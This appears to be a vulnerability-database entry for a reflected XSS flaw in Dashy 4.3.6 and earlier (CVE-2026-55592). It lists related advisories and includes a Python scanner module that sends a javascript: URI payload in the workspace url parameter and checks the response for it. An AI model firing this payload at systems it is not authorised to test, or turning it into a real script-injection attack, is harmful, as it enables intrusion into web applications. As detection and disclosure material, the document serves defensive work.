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Dashy <= 4.3.6 - Reflected XSS via Workspace Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Reflected XSS in Dashy workspace view via the url query parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-55592
7 Jul 202620:48
–attackerkb
circl
Circl
CVE-2026-55592
22 Jun 202602:53
–circl
cve
CVE
CVE-2026-55592
7 Jul 202620:48
–cve
cvelist
Cvelist
CVE-2026-55592 Dashy: XSS in workspace url parameter
7 Jul 202620:48
–cvelist
euvd
EUVD
EUVD-2026-42103
7 Jul 202620:48
–euvd
mend
Mend
CVE-2026-55592
7 Jul 202620:48
–mend
nuclei
Nuclei
Dashy <= 4.3.6 - Reflected XSS via Workspace
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2026-55592
7 Jul 202621:17
–nvd
ptsecurity
Positive Technologies
PT-2026-56249
7 Jul 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2026-55592: Improper Neutralization of Input During Web Page Generation
7 Jul 202600:00
–rapid7
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Dashy versions up to 4."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Dashy <= 4.3.6 - Reflected XSS via Workspace Detection',
        'description': 'Dashy versions up to 4.3.6 contain a reflected cross-site scripting vulnerability in the workspace view. The url query parameter is passed directly to an iframe src attribute without scheme validation, allowing an attacker to inject javascript: URIs that execute arbitrary JavaScript in the context of the Dashy origin.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2026', 'dashy', 'xss', 'reflected'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://github.com/Lissy93/dashy/security/advisories/GHSA-58mp-4qr3-vmrc',
            'https://nvd.nist.gov/vuln/detail/CVE-2026-55592',
        ],
        'cve': 'CVE-2026-55592',
    }

    def run(self):
        path = '/healthz'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return False
        path = '/workspace?url=javascript%3Aalert%28document.domain%29'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('javascript:alert(document.domain)',)
        if any(m in body for m in body_any):
            self.set_info(severity='medium', reason='Dashy <= 4.3.6 - Reflected XSS via Workspace detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.13.9
EPSS0.00284
SSVC
3